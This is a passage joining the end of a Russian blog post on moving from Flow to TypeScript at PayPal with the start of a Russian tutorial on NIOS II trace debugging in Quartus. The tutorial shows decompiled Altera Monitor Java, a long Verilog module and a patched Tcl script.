Как я уже говорил, в определённый момент я очень устал от Flow. Вот один из [твитов](https://twitter.com/kentcdodds/status/997571730536321025), в котором я делился одной из главных проблем, с которой столкнулся при работе с Flow. Заключалась она в том, что для того, чтобы Flow заработал, регулярно приходится, после его неудачного запуска, его останавливать, а потом запускать снова. Вот ещё один мой [твит](https://twitter.com/kentcdodds/status/1019704559692894209), где речь идёт о неправильной работе Flow.
Меня окончательно оттолкнули от Flow регулярно возникающие проблемы с его надёжностью. Плагины для редакторов работали, так сказать, с переменным успехом (должен признаться, что я не работал с Nuclide, и возможно, попробуй я его, моя жизнь сложилась бы иначе, но я пробовал работать с Flow в Atom и в VSCode), я постоянно сталкивался с какими-то странностями. Это было весьма досадно, так как подрывало мою веру в используемую мной систему контроля типов.
Когда я, в ноябре, увидел [этот](https://twitter.com/jamiebuilds/status/1064649666275340288) твит, он выразил то, о чём я уже размышлял; краткий рассказ о переходе с Flow на TypeScript совпал с моим видением ситуации. Я, честно говоря, не мог перестать думать о том, чтобы как следует взяться за TypeScript. В итоге я так и поступил и я очень этому рад.
Вопросы и ответы
----------------
### ▍Почему вы не пользуетесь TSLint?
На самом деле, я реализовал поддержку [TSLint](https://palantir.github.io/tslint/) в `paypal-script`. Это был один из первых скриптов, который у меня заработал. Я собирался принимать решение о том, использовать ли TSLint или ESLint, основываясь на том, есть ли в проекте файл `tsconfig.json`. Но потом я вспомнил, что у нас есть некоторые ESLint-плагины собственной разработки (например, для проверки интернационализации), на переписывание которых в виде плагинов для TSLint мне не хотелось тратить время. Кроме того, интерфейс командной строки TSLint обладает меньшими возможностями, чем у ESLint, и он не очень хорошо подходил для совместной работы с `paypal-scripts`. Возможно, через некоторое время я снова присмотрюсь к TSLint.
Да, хочется отметить, что сообщество ESLint всё ещё гораздо больше, чем сообщество TSLint. Кроме того, я постепенно понимаю, что хорошая система контроля типов делает плагины для линтинга бесполезными. Пока же я использую с TypeScript ESLint, и то, что получается, выглядит совсем неплохо. [Вот](https://www.youtube.com/watch?v=Pl2heYVwQ-Q&list=PLV5CVI1eNcJgCrPH_e6d57KRUTiDZgs0u) моё видео на эту тему.
И, кстати, у меня такое ощущение, что команда TypeScript склоняется в сторону ESLint, поэтому я полагаю, что я сделал правильный выбор.
### ▍Почему вы не выбрали Reason?
Я, в переписке под [этим](https://twitter.com/kentcdodds/status/997571730536321025) твитом, ответил на предложение попробовать TypeScript, сказав, что уж лучше перейду с Flow на ReasonML. На самом деле, я часто говорил о переходе на [Reason](https://reasonml.github.io/) до перехода на TypeScript. Одной из главных причин подобных утверждений было мое желание сохранить привычные инструменты, о котором я уже рассказывал. Но, так как ни от чего отказываться мне не пришлось, TypeScript оказался для меня более привлекательным. Мне и сейчас очень нравится Reason, но переход на Reason означал бы необходимость огромных изменений для многих сотрудников PayPal. И хотя я думаю, что они с этим справились бы, я полагаю, что им комфортнее будет пользоваться TypeScript, чем пытаться изучать новый язык.
Вероятно, если бы я выбрал Reason, мой PR никогда не попал бы в репозиторий `sample-app`. Одно дело — подвигнуть коллег на то, чтобы пользоваться, в сущности, тем, что можно назвать «типизированным JavaScript» (особенно если с их стороны не требуется поддержка неких конфигураций), и совсем другой разговор состоится в том случае, если попытаться призвать коллег использовать совершенно другой язык и совершенно другую экосистему (и тут совершенно неважно то, насколько хорошо этот язык взаимодействует с JS и npm).
Итоги
-----
Сейчас мне хотелось бы [поблагодарить](https://twitter.com/kentcdodds/status/1081598314934460416) всех пользователей Твиттера, под влиянием которых сформировалось моё видение TypeScript. Как я уже говорил, то, что библиотека `paypal-scripts` попала в репозиторий `sample-app` в PayPal, возможно, главное достижение моей карьеры. И я считаю, что то, что теперь шаблоны всех новых приложений в компании по умолчанию оснащаются поддержкой TypeScript — это огромный плюс для всех сотрудников PayPal. Я безмерно рад тому, что выбрал TypeScript.
**Уважаемые читатели!** Как вы думаете, стоит ли тем, кто пользуется Flow, смотреть в сторону TypeScript?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/437986/ | null | ru | null |
# Веселая Квартусель, или как процессор докатился до такой жизни
При отладке обычных программ, точки останова можно ставить почти везде и в достаточно больших количествах. Увы. Когда программа исполняется на контроллере, это правило не действует. Если идёт участок, в котором формируется временная диаграмма, то остановка всё испортит. А проход на низкой и на высокой частоте — это не одно и то же. Граничные условия — бич разработчиков. Или, скажем, шина USB. В NIOS II я с нею не работал, но на STM32 — это ужас. И хочется что-то посмотреть, и при остановке словишь таймаут. В общем, очень часто, несмотря на наличие передовой JTAG отладки, поведение программы в критичных по времени участках покрыто мраком. Как было бы здорово хотя бы после исполнения поглядеть, по какой цепочке прошла программа, какие ветвления сработали, а какие нет!
Ещё важнее знать историю развития исключений. На NIOS II мне этого делать не доводилось, а вот на Cyclone V SoC в ядре ARM — вполне. При отладке всё работает, а стартуешь программу из ПЗУ — получаешь исключение. Как в него вошли — видно, а какое развитие ситуации привело к этому — нет. Трассировка же срывает все покровы.
Предыдущие статьи цикла:1. [Разработка простейшей «прошивки» для ПЛИС, установленной в Redd, и отладка на примере теста памяти](https://habr.com/ru/post/452656/)
2. [Разработка простейшей «прошивки» для ПЛИС, установленной в Redd. Часть 2. Программный код](https://habr.com/ru/post/453682/)
3. [Разработка собственного ядра для встраивания в процессорную систему на базе ПЛИС](https://habr.com/ru/post/454938/)
4. [Разработка программ для центрального процессора Redd на примере доступа к ПЛИС](https://habr.com/ru/post/456008/)
5. [Первые опыты использования потокового протокола на примере связи ЦП и процессора в ПЛИС комплекса Redd](https://habr.com/ru/post/462253/)
Введение
--------
Обучающие статьи принято писать с серьёзным лицом, излагая материал спокойно и беспристрастно. Но увы, не всегда это получается. Сейчас по плану должна быть статья на тему оптимизации работы синтезированного процессора в комплексе Redd, в которой надо рассказать про особенности работы с кэшем. Дальше — статья про задержки при обращении к шине. В целом, всё это можно показать на осциллографе. Я уже делал подобное в статье про DMA («[DMA: мифы и реальность](https://habr.com/ru/post/437112)»). Но хотелось продемонстрировать всё средствами самого процессора, я такие проверки проводил для ARM ядра в ПЛИС Cyclone V SoC. Очень удобно (правда, результаты не публиковались). По этому поводу я решил разобраться с механизмом трассировки, заложенном в блоке JTAG. Жаль, что бесплатно скачиваемыми средствами мне пока так и не удалось отображать, сколько тактов исполнялась та или иная команда, но зато появился материал, при помощи которого программу всегда можно расспросить, как она докатилась до такой жизни. Ну, и кроме того, пока в памяти свежи воспоминания о бурных вечерах, я выплесну их в достаточно эмоциональной манере. Так что сегодня будет много мемуаров и чуть-чуть полезной теории.
Аппаратная часть
----------------
Итак, очень часто при отладке программы для микроконтроллера желательно знать пройденный ею путь, причём пройти она его должна на полной скорости. Для случая NIOS II этот механизм имеется и включается вот на этой вкладке свойств процессорного ядра:
Trace Type задаёт тип сохраняемой информации. Можно не сохранять ничего (это сэкономит память кристалла), можно сохранять только историю команд (чаще всего этого достаточно), ну или сохранять историю как команд, так и данных. Стоит отметить, что в документации рассказывается, что в последнем режиме сохранение сведений производится как-то сложно, при этом возможны накладки с историей команд, а память расходуется больше. Так что пользуйтесь этим режимом только при реальной необходимости.
Параметр Trace Storage задаёт тип памяти, в которую будет сохраняться трасса. В документации сказано, что внешняя память не поддерживается штатной средой разработки. Поэтому лучше выбирать только внутреннюю.
Ну, и Onchip Trace Frame Size задаёт объём буфера. Чем буфер больше, тем больше событий удастся в него разместить, тем большую историю можно будет рассмотреть. Но тем меньше останется памяти кристалла под прочие нужды.
Галочку, создающую отдельный порт JTAG, включать не надо. Пусть всё заруливается на штатный.
Программная поддержка
---------------------
Хорошо. Вот мы произвели настройку процессорного ядра, что дальше? Оооо! Дальше начинается детективная история. Если рисунки выше следует воспринимать, как руководство к действию, то дальше будут идти иллюстрации, показывающие бардак и головотяпство. В ряде документов сказано, что для работы с трассировкой следует пользоваться сторонними дорогими программами и даже специальной JTAG аппаратурой. Но в некоторых документах проскакивает, что можно взять и что-то штатное.
### Эксперименты с Eclipse
Прекрасно. Осмотримся в Eclipse. Напоминаю, что я пользуюсь средой разработки Quartus Prime 17.1. Ну, так получилось. Запускаем программу на отладку и идём в пункт меню, позволяющий открыть различные окна:
Там выбираем окно Debug->Trace Control:
И получаем вот такую пустышку:
А ведь отладочная сессия-то запущена. Мало того, в ней даже появились пункты меню Start Tracing и Stop Tracing (до открытия данного окна их не было). Но они заблокированы. И активировать их я не смог.
Напрасно я заваливал Гугля разными запросами. В старых документах эти пункты описываются, как вполне себе работающие, а в современных просто не упоминаются. Не упоминает их никто и на форумах. Может, тут в комментариях кто-нибудь что-нибудь подскажет?
### Проблемы с последней версией Eclipse
Хорошо. А что с самой свежей версией среды разработки? Может там всё работает? Ыыыыыы! Это тема для отдельной главы. Самая свежая версия для четвёртых и пятых Циклонов — 18.1.1. То есть, надо сначала скачать версию 18.1, а затем установить обновление 18.1.1. Если кто-то решил, что у меня слишком много свободного времени, что я ради каждой мелочи ПО переставляю, — всё нормально. Основная проверка была на тему проблем с кэшем. Они более серьёзны, хотелось проверить их в новой версии, просто здесь я про них не пишу.
Итак, скачал. Установил. Во-первых, версия 18.1 под WIN7 запускается, а вот 18.1.1 не находит DLL. Хорошо. Выяснил, что надо скачать Redist от Visual Studio 2015. Поставил. Стало запускаться. Создал проект с процессорной системой. Он даже собрался. Иду в Eclipse, создаю на его основе программу с BSP, всё, как мы уже многократно делали… И получаю вот такое дело…
Проект не собирается. Если выйти и войти — открывается только частично.
Видите папку закрытую? Вот так. Почему? Ооооо! У трёх файлов:
вот такие чудесные атрибуты защиты:
Так что их ни открыть, ни изменить… Если дать больше прав, проект откроется, но файлы созданы не полностью, так что собрать его не получится. Пробовал давать права, пока не закрыта Eclipse, а затем сохранить проект. Итог тот же.
Может виновата стремительно устаревающая ОС Windows 7? Не зря же мне не хватало библиотек! Ставлю свежий Квартус на WIN10, получаю полностью идентичный результат создания проекта! Есть у меня знакомый. В силу места его работы он иногда сталкивается с продукцией отечественных производителей. И высказывает ряд мыслей о них самих и об их родственниках. Ну, и о том, что «кто так строит?». Вы знаете, глядя на весёлости в ПО фирмы Intel, я начинаю задумываться, что дело далеко не в стране происхождения… Вообще, при Альтере такого не было… Всякое бывало, но такого не помню.
Выкрутился просто. Скопировал проект на USB флэшку с файловой системой FAT32. Там нет атрибутов безопасности. Открыл проект с неё, вошёл в Eclipse и создал код. Нет атрибутов безопасности — нет проблем. Затем скопировал его обратно на жёсткий диск и… Ну разумеется, получил проблемы при генерации BSP. Потому что файл \*.bsp содержит много относительных путей и один абсолютный. Это хорошо, что я флэшку вытащил. Иначе бы и не заметил, что BSP скидывается на неё (так как это место рождения проекта), а проект собирается на жёстком диске. Вот пример такого пути (уже поправленный):
Ну отлично… Всё сгенерилось, собралось… И работает точно так же, как и в версии 17.1… А для SoC контроллеров в новой среде ещё и приходится каждый раз JTAG цепочку пересоздавать в программаторе. В версии 17.1 достаточно было сделать это один раз и сохранить… Эээээх. Ну, да ладно…
### Altera Monitor и его проблема
Так или иначе, поиски в сети по слову Start Tracing и Stop Tracing привели меня к интересным документам. Они описывают различные версии забавной программы, которая сегодня называется **Altera Monitor** (в старых документах имя было другое). Найти её было относительно просто. Надо скачать пакет **University Program** для своей версии среды разработки. Обратите внимание на лицензионные ограничения. Но так как мы сейчас учимся, нам это не страшно. А вот для коммерческих работ — там всё плохо. Подробности тут: [www.intel.com/content/www/us/en/programmable/support/training/university/materials-software.html](https://www.intel.com/content/www/us/en/programmable/support/training/university/materials-software.html)
Скачиваем, ставим… Там есть документ, привязанный к текущей версии (потому что версии, рассыпанные по Интернету сильно различаются). Я даже попробовал запустить пример для имеющейся у меня макетки DE0-Nano-SoC. Он работает. Но когда я попробовал сделать свой проект, он не заработал. Файл \*.sof загружается в ПЛИС, после чего, через некоторое время, выдаётся сообщение:
Только никакой информации в указанном окне нет. Если попытаться загрузить ещё раз: ну, появится как раз в том окне текст:
**Could not query JTAG Instance IDs.
Please ensure the FPGA has been configured using the correct .sof file.**
Что за беда такая? Поискал по Гуглю. Нашёл несколько форумов с такой же проблемой. На одном сотрудник Intel спрашивал, какая у автора частота у JTAG и предлагал задать стандартную. Хотя, к тому времени я уже понимал, что дело не в частоте: фирменный же пример работает, да и как её задать? На одном форуме автор написал, что как-то само прошло. Он не понял, как. И сказал, что если делать всё внимательно по инструкции, всё заработает. На остальных картина была однотипная. Человек спрашивает. Ему не отвечают. Через полгода-год кто-нибудь пишет, что у него та же ситуация, не появилось ли решения? И тишина-а-а-а-а-а…
### Попытки решения опытным путём
Хорошо. Что может быть причиной? Сначала я решил осмотреться в работающем примере. Что за таинственные JTAG ID? Может виной тому наличие в работающей системе System ID?
Добавил к себе, не помогло. Может виной всему мост JTAG to Avalon, к которому дополнительно подключены все периферийные устройства?
Добавил — не помогло. Я пробовал ещё несколько гипотез, но понял, что гадать можно вечно. С горя я даже запросил у Яндекса, у Bing и даже у BaiDu. Все они знают меньше, чем Гугль. Стало ясно, что придётся заниматься декомпиляцией, чтобы выпытать у самой программы, чего же ей надо. Проверил, на каком языке написана программа. Оказалось, что на Яве. Байт-код хранится в файле Altera\_Monitor\_Program.jar. Ну и чудненько. Если не считать того, что я эту Яву вообще не знаю. На ЯваСкрипте, было дело, баловался с Интернетом Вещей, а вот с настоящей Явой не сталкивался. Но где наша не пропадала!
### Анализ JAVA байт-кода для поиска проблемы
Как вскрывать байт-код? Гугль привёл на статью на Хабре, где сказано, что для этого надо использовать JD-GUI. Нашёл его на github, скачал. Проблемный участок я выявил достаточно быстро, так как у JD-GUI замечательная интерактивная навигация. От сообщения до участка я вышел за 10 минут. Этот участок вызывает стороннюю программу, после чего анализирует её ответ. Вызов выглядит так:
```
systemConsoleCommand[index] = "system-console";
systemConsoleCommand[var24++] = "--script=" + Globals.gHost.getMonitorProgramRootDir("bin/jtag_instance_check.tcl", true);
systemConsoleCommand[var24++] = cable;
systemConsoleCommand[var24++] = Globals.gProject.system.sofFilename;
try {
Process sysConsoleProc = NiosIIShell.executeCommand(systemConsoleCommand).start();
BufferedReader gdbIn = new BufferedReader(new InputStreamReader(sysConsoleProc.getInputStream()));
```
Ну, и дальше — разбор ответа, который пока не рассматриваем.
Имея такой код, я попробовал открыть консоль NIOS II:
Там перешёл в каталог, где лежит sof файл и вбил командную строку:
**system-console --script=jtag\_instance\_check.tcl USB-0 test.sof**
Правда, для этого пришлось скопировать файл C:\intelFPGALite\17.1\University\_Program\Monitor\_Program\bin\jtag\_instance\_check.tcl туда же, где лежит sof, чтобы не мучиться с путём. В итоге я получил вполне приличный отклик:
**TYPE\_NAME altera\_avalon\_jtag\_uart.jtag FULL\_HPATH jtag\_uart\_0 (INSTANCE\_ID:0)
TYPE\_NAME altera\_nios2\_gen2.data\_master FULL\_HPATH nios2\_gen2\_0 (INSTANCE\_ID:0)**
Вроде, всё красиво…
### Трассировка JAVA байт-кода
Если бы дело происходило прямо сегодня, этого раздела бы не было. Но оно происходило вчера. Я ещё очень плохо понимал Яву. Что там написано при разборе текста, для меня было тёмным лесом. Правда, ребёнок мой два года посещал курсы олимпиадного программирования у 1Совских франчайзи (сертификаты и раздаточный материал были 1Совские). За эти курсы были отданы бешеные деньги. И учили их там как раз на Яве. Так вот, он тоже не понял, что там дальше в коде написано (держа интригу, я опубликую код чуть ниже, не сейчас). В общем, возникло стойкое ощущение, что пришла пора провести трассировку. Я знаю сбойный участок, я вижу, что там получены строки и они чем-то программе не нравятся. Так чем?
Ребёнок нашёл мне очень замечательную статью [www.crowdstrike.com/blog/native-java-bytecode-debugging-without-source-code](https://www.crowdstrike.com/blog/native-java-bytecode-debugging-without-source-code/)
Там рассказывается про очень полезный плагин для Eclipse, который позволяет работать с JARами, ставя в них точки останова. Где скачать, я нашёл вот тут: [marketplace.eclipse.org/content/bytecode-visualizer/help](https://marketplace.eclipse.org/content/bytecode-visualizer/help)
Скачал Eclipse, скачал с горем пополам плагин для оффлайн-установки… Начал ставить — не хватает библиотек. Стал читать. Оказывается, есть три версии плагина. Под Eсlipse 4.5 (Mars), 4.4 (Luna) и 4.3 (не помню имя). Ну всё просто. Идём на сайт Eclipse, видим ссылку на скачивание версии Mars для Java… И… Она мёртвая. Не беда! Там около десятка зеркал!.. И все ссылки на них мёртвые. Пробуем Luna для Java, там ссылки на x64 мёртвые, на x86 одна живая нашлась… Как говорит один мой знакомый: «Геморрой, он всеобъемлющий». В общем, Гугль с трудом, но нашёл мне 64-битную Java-сборку версии Mars на каком-то неофициальном сервере. Полчаса качал, но скачал.
Внедрил плагин, создал проект… Ужас! Там трассировка идёт не на уровне исходного кода, а на уровне а-ля ассемблер. Короче, декодированный байтовый код трассируется. Но на самом деле, это не беда! Ведь всегда можно сверяться с декомпилированными исходниками, открытыми в другом окне, плюс очень хорошие комментарии тот плагин показывает… Также выяснилось, что точки останова ставить можно не в любое место, а только на вход в функцию. Но меня уже не остановить! Там не так много и прошагать-то нужно от входа до проблемного участка.
Напомню, что обрабатываемые строки выглядят так:
**TYPE\_NAME altera\_avalon\_jtag\_uart.jtag FULL\_HPATH jtag\_uart\_0 (INSTANCE\_ID:0)
TYPE\_NAME altera\_nios2\_gen2.data\_master FULL\_HPATH nios2\_gen2\_0 (INSTANCE\_ID:0)**
И вот такой Java-код:
```
if (str.contains("(INSTANCE_ID:")) {
Pattern getInstance = Pattern.compile("\\(INSTANCE_ID:(\\d+)\\)");
Matcher idMatcher = getInstance.matcher(str);
if (idMatcher.find()) {
String foundstr = idMatcher.group(1);
instance = Integer.parseInt(foundstr);
}
```
прекрасно вычленяет Instance ID. А вот такой код:
```
Pattern getHPath = Pattern.compile("FULL_HPATH (.+?)\\|(.+?) \\(");
Matcher hpathMatcher = getHPath.matcher(str);
if (hpathMatcher.find()) {
hpath = hpathMatcher.group(2).replace("|", ".");
}
```
переменную hpath не заполняет. Сегодня-то я уже знаю, что регулярное выражение:
```
"FULL_HPATH (.+?)\\|(.+?) \\("
```
требует два слова, разделённых вертикальной чертой. Ну, а дальше берётся только то, что находится после черты. А вчера ещё не знал. Интереснее другое. Ребёнок два года изучал работу на Яве и не изучил регулярных выражений! Нет, понятно, что их учили не языку, а олимпиадному программированию средствами языка, но как я понял, регулярные выражения на Яве — в порядке вещей. Такие деньги берут, сертификатами от солидных фирм трясут, а важным вещам не учат… Но я отвлёкся.
### Свет в конце тоннеля
Что за вертикальная черта? Берём тот проект, который работал, подаём ему ту же команду и получаем вот такой ответ:
**TYPE\_NAME altera\_avalon\_jtag\_uart.jtag FULL\_HPATH Computer\_System:The\_System|JTAG\_UART (INSTANCE\_ID:0)
TYPE\_NAME altera\_avalon\_jtag\_uart.jtag FULL\_HPATH Computer\_System:The\_System|JTAG\_UART\_2nd\_Core (INSTANCE\_ID:1)
TYPE\_NAME altera\_avalon\_jtag\_uart.jtag FULL\_HPATH Computer\_System:The\_System|JTAG\_UART\_for\_ARM\_0 (INSTANCE\_ID:2)
TYPE\_NAME altera\_avalon\_jtag\_uart.jtag FULL\_HPATH Computer\_System:The\_System|JTAG\_UART\_for\_ARM\_1 (INSTANCE\_ID:3)
TYPE\_NAME altera\_nios2\_gen2.data\_master FULL\_HPATH Computer\_System:The\_System|Nios2 (INSTANCE\_ID:0)
TYPE\_NAME altera\_nios2\_gen2.data\_master FULL\_HPATH Computer\_System:The\_System|Nios2\_2nd\_Core (INSTANCE\_ID:1)**
Что за Computer\_System:The\_System? Тут всё просто. Я в этом цикле статей продвигаю передовую идею, где компьютерная система находится на верхнем уровне иерархии. **А этот пример имеет вот такую Verilog-прослойку:**
```
module DE0_Nano_SoC_Computer (
////////////////////////////////////
// FPGA Pins
////////////////////////////////////
// Clock pins
input CLOCK_50,
input CLOCK2_50,
input CLOCK3_50,
// ADC
output ADC_CONVST,
output ADC_SCLK,
output ADC_SDI,
input ADC_SDO,
// ARDUINO
inout [15:0] ARDUINO_IO,
inout ARDUINO_RESET_N,
// GPIO
inout [35:0] GPIO_0,
inout [35:0] GPIO_1,
// KEY
input [1:0] KEY,
// LED
output [7:0] LED,
// SW
input [3:0] SW,
////////////////////////////////////
// HPS Pins
////////////////////////////////////
// DDR3 SDRAM
output [14:0] HPS_DDR3_ADDR,
output [2:0] HPS_DDR3_BA,
output HPS_DDR3_CAS_N,
output HPS_DDR3_CKE,
output HPS_DDR3_CK_N,
output HPS_DDR3_CK_P,
output HPS_DDR3_CS_N,
output [3:0] HPS_DDR3_DM,
inout [31:0] HPS_DDR3_DQ,
inout [3:0] HPS_DDR3_DQS_N,
inout [3:0] HPS_DDR3_DQS_P,
output HPS_DDR3_ODT,
output HPS_DDR3_RAS_N,
output HPS_DDR3_RESET_N,
input HPS_DDR3_RZQ,
output HPS_DDR3_WE_N,
// Ethernet
output HPS_ENET_GTX_CLK,
inout HPS_ENET_INT_N,
output HPS_ENET_MDC,
inout HPS_ENET_MDIO,
input HPS_ENET_RX_CLK,
input [3:0] HPS_ENET_RX_DATA,
input HPS_ENET_RX_DV,
output [3:0] HPS_ENET_TX_DATA,
output HPS_ENET_TX_EN,
// Accelerometer
inout HPS_GSENSOR_INT,
// I2C
inout HPS_I2C0_SCLK,
inout HPS_I2C0_SDAT,
inout HPS_I2C1_SCLK,
inout HPS_I2C1_SDAT,
// Pushbutton
inout HPS_KEY,
// LED
inout HPS_LED,
// LTC
inout HPS_LTC_GPIO,
// SD Card
output HPS_SD_CLK,
inout HPS_SD_CMD,
inout [3:0] HPS_SD_DATA,
// SPI
output HPS_SPIM_CLK,
input HPS_SPIM_MISO,
output HPS_SPIM_MOSI,
inout HPS_SPIM_SS,
// UART
input HPS_UART_RX,
output HPS_UART_TX,
// USB
inout HPS_CONV_USB_N,
input HPS_USB_CLKOUT,
inout [7:0] HPS_USB_DATA,
input HPS_USB_DIR,
input HPS_USB_NXT,
output HPS_USB_STP
);
//=======================================================
// REG/WIRE declarations
//=======================================================
wire hps_fpga_reset_n;
//=======================================================
// Structural coding
//=======================================================
Computer_System The_System (
////////////////////////////////////
// FPGA Side
////////////////////////////////////
// Global signals
.system_pll_ref_clk_clk (CLOCK_50),
.system_pll_ref_reset_reset (1'b0),
// ADC
.adc_sclk (ADC_SCLK),
.adc_cs_n (ADC_CONVST),
.adc_dout (ADC_SDO),
.adc_din (ADC_SDI),
// Arduino GPIO
.arduino_gpio_export (ARDUINO_IO),
// Arduino Reset_n
.arduino_reset_n_export (ARDUINO_RESET_N),
// Slider Switches
.slider_switches_export (SW),
// Pushbuttons
.pushbuttons_export (~KEY),
// Expansion JP1
.expansion_jp1_export ({GPIO_0[35:19], GPIO_0[17], GPIO_0[15:3], GPIO_0[1]}),
// Expansion JP7
.expansion_jp7_export ({GPIO_1[35:19], GPIO_1[17], GPIO_1[15:3], GPIO_1[1]}),
// LEDs
.leds_export (LED),
////////////////////////////////////
// HPS Side
////////////////////////////////////
// DDR3 SDRAM
.memory_mem_a (HPS_DDR3_ADDR),
.memory_mem_ba (HPS_DDR3_BA),
.memory_mem_ck (HPS_DDR3_CK_P),
.memory_mem_ck_n (HPS_DDR3_CK_N),
.memory_mem_cke (HPS_DDR3_CKE),
.memory_mem_cs_n (HPS_DDR3_CS_N),
.memory_mem_ras_n (HPS_DDR3_RAS_N),
.memory_mem_cas_n (HPS_DDR3_CAS_N),
.memory_mem_we_n (HPS_DDR3_WE_N),
.memory_mem_reset_n (HPS_DDR3_RESET_N),
.memory_mem_dq (HPS_DDR3_DQ),
.memory_mem_dqs (HPS_DDR3_DQS_P),
.memory_mem_dqs_n (HPS_DDR3_DQS_N),
.memory_mem_odt (HPS_DDR3_ODT),
.memory_mem_dm (HPS_DDR3_DM),
.memory_oct_rzqin (HPS_DDR3_RZQ),
// Accelerometer
.hps_io_hps_io_gpio_inst_GPIO61 (HPS_GSENSOR_INT),
// Ethernet
.hps_io_hps_io_gpio_inst_GPIO35 (HPS_ENET_INT_N),
.hps_io_hps_io_emac1_inst_TX_CLK (HPS_ENET_GTX_CLK),
.hps_io_hps_io_emac1_inst_TXD0 (HPS_ENET_TX_DATA[0]),
.hps_io_hps_io_emac1_inst_TXD1 (HPS_ENET_TX_DATA[1]),
.hps_io_hps_io_emac1_inst_TXD2 (HPS_ENET_TX_DATA[2]),
.hps_io_hps_io_emac1_inst_TXD3 (HPS_ENET_TX_DATA[3]),
.hps_io_hps_io_emac1_inst_RXD0 (HPS_ENET_RX_DATA[0]),
.hps_io_hps_io_emac1_inst_MDIO (HPS_ENET_MDIO),
.hps_io_hps_io_emac1_inst_MDC (HPS_ENET_MDC),
.hps_io_hps_io_emac1_inst_RX_CTL (HPS_ENET_RX_DV),
.hps_io_hps_io_emac1_inst_TX_CTL (HPS_ENET_TX_EN),
.hps_io_hps_io_emac1_inst_RX_CLK (HPS_ENET_RX_CLK),
.hps_io_hps_io_emac1_inst_RXD1 (HPS_ENET_RX_DATA[1]),
.hps_io_hps_io_emac1_inst_RXD2 (HPS_ENET_RX_DATA[2]),
.hps_io_hps_io_emac1_inst_RXD3 (HPS_ENET_RX_DATA[3]),
// I2C
.hps_io_hps_io_i2c0_inst_SDA (HPS_I2C0_SDAT),
.hps_io_hps_io_i2c0_inst_SCL (HPS_I2C0_SCLK),
.hps_io_hps_io_i2c1_inst_SDA (HPS_I2C1_SDAT),
.hps_io_hps_io_i2c1_inst_SCL (HPS_I2C1_SCLK),
// Pushbutton
.hps_io_hps_io_gpio_inst_GPIO54 (HPS_KEY),
// LED
.hps_io_hps_io_gpio_inst_GPIO53 (HPS_LED),
// LTC
.hps_io_hps_io_gpio_inst_GPIO40 (HPS_LTC_GPIO),
// SD Card
.hps_io_hps_io_sdio_inst_CMD (HPS_SD_CMD),
.hps_io_hps_io_sdio_inst_D0 (HPS_SD_DATA[0]),
.hps_io_hps_io_sdio_inst_D1 (HPS_SD_DATA[1]),
.hps_io_hps_io_sdio_inst_CLK (HPS_SD_CLK),
.hps_io_hps_io_sdio_inst_D2 (HPS_SD_DATA[2]),
.hps_io_hps_io_sdio_inst_D3 (HPS_SD_DATA[3]),
// SPI
.hps_io_hps_io_spim1_inst_CLK (HPS_SPIM_CLK),
.hps_io_hps_io_spim1_inst_MOSI (HPS_SPIM_MOSI),
.hps_io_hps_io_spim1_inst_MISO (HPS_SPIM_MISO),
.hps_io_hps_io_spim1_inst_SS0 (HPS_SPIM_SS),
// UART
.hps_io_hps_io_uart0_inst_RX (HPS_UART_RX),
.hps_io_hps_io_uart0_inst_TX (HPS_UART_TX),
// USB
.hps_io_hps_io_gpio_inst_GPIO09 (HPS_CONV_USB_N),
.hps_io_hps_io_usb1_inst_D0 (HPS_USB_DATA[0]),
.hps_io_hps_io_usb1_inst_D1 (HPS_USB_DATA[1]),
.hps_io_hps_io_usb1_inst_D2 (HPS_USB_DATA[2]),
.hps_io_hps_io_usb1_inst_D3 (HPS_USB_DATA[3]),
.hps_io_hps_io_usb1_inst_D4 (HPS_USB_DATA[4]),
.hps_io_hps_io_usb1_inst_D5 (HPS_USB_DATA[5]),
.hps_io_hps_io_usb1_inst_D6 (HPS_USB_DATA[6]),
.hps_io_hps_io_usb1_inst_D7 (HPS_USB_DATA[7]),
.hps_io_hps_io_usb1_inst_CLK (HPS_USB_CLKOUT),
.hps_io_hps_io_usb1_inst_STP (HPS_USB_STP),
.hps_io_hps_io_usb1_inst_DIR (HPS_USB_DIR),
.hps_io_hps_io_usb1_inst_NXT (HPS_USB_NXT)
);
endmodule
```
Я специально привёл её полностью, чтобы подчеркнуть, сколько совершенно ненужного кода приходится писать в этом случае. А если будут добавлены или убраны ножки, этот код придётся ещё и править. Собственно, строки
**То же самое текстом:**
```
...
Computer_System The_System (
////////////////////////////////////
// FPGA Side
////////////////////////////////////
// Global signals
.system_pll_ref_clk_clk (CLOCK_50),
...
```
и дают этот префикс. Авторы считают, что иерархия должна быть такой, только такой и никакой другой. Процессорную систему нельзя убрать глубже и нельзя вынести наверх.
### Мы не должны ждать милости от природы, взять её — наша задача!
Неужели мы проделали такую работу, чисто чтобы смириться с этим делом? Как любит говорить один мой знакомый: «ненужная работа — хуже пьянства», а создание такой прослойки — типичный случай ненужной работы. Поэтому попытаемся обойти это ограничение. Помните, при вызове сторонней программы JAVA код подставлял какой-то tcl-скрипт, я его ещё копировал в каталог рядом с файлом sof? В нём наше спасение! Именно он говорит системной консоли, какие действия следует предпринять и именно он форматирует ответ. форматирование идёт вот так:
**То же самое текстом:**
```
# PRINT OUT INSTANCE ID INFO FOR EVERYTHING:
set i 0
foreach path [lsort -command compare_node_number [get_service_paths bytestream]] {
# If this path corresponds to a JTAG UART, incr i
if {[string match *$cable_name* $path ] && [string match *jtag_uart* [marker_get_type $path] ]} {
puts "[marker_get_info $path] (INSTANCE_ID:$i)"
incr i
}
}
set i 0
foreach path [lsort -command compare_node_number [get_service_paths processor]] {
# If this path corresponds to a NiosII, incr i
if {[string match *$cable_name* $path ] && [string match *nios2* [marker_get_type $path] ]} {
puts "[marker_get_info $path] (INSTANCE_ID:$i)"
incr i
}
}
```
Первый блок форматирует сведения о блоках JTAG\_UART, второй — о процессорных ядрах. Вот если бы здесь добавить в выходной поток вертикальные чёрточки! Мой коллега поправил данный участок так:
```
# PRINT OUT INSTANCE ID INFO FOR EVERYTHING:
set i 0
foreach path [lsort -command compare_node_number [get_service_paths bytestream]] {
# If this path corresponds to a JTAG UART, incr i
if {[string match *$cable_name* $path ] && [string match *jtag_uart* [marker_get_type $path] ]} {
set info [marker_get_info $path]
if {[string first "|" $info] == -1} {
set info [string map {"FULL_HPATH " "FULL_HPATH a:b|"} $info]
}
puts "$info (INSTANCE_ID:$i)"
incr i
}
}
set i 0
foreach path [lsort -command compare_node_number [get_service_paths processor]] {
# If this path corresponds to a NiosII, incr i
if {[string match *$cable_name* $path ] && [string match *nios2* [marker_get_type $path] ]} {
set info [marker_get_info $path]
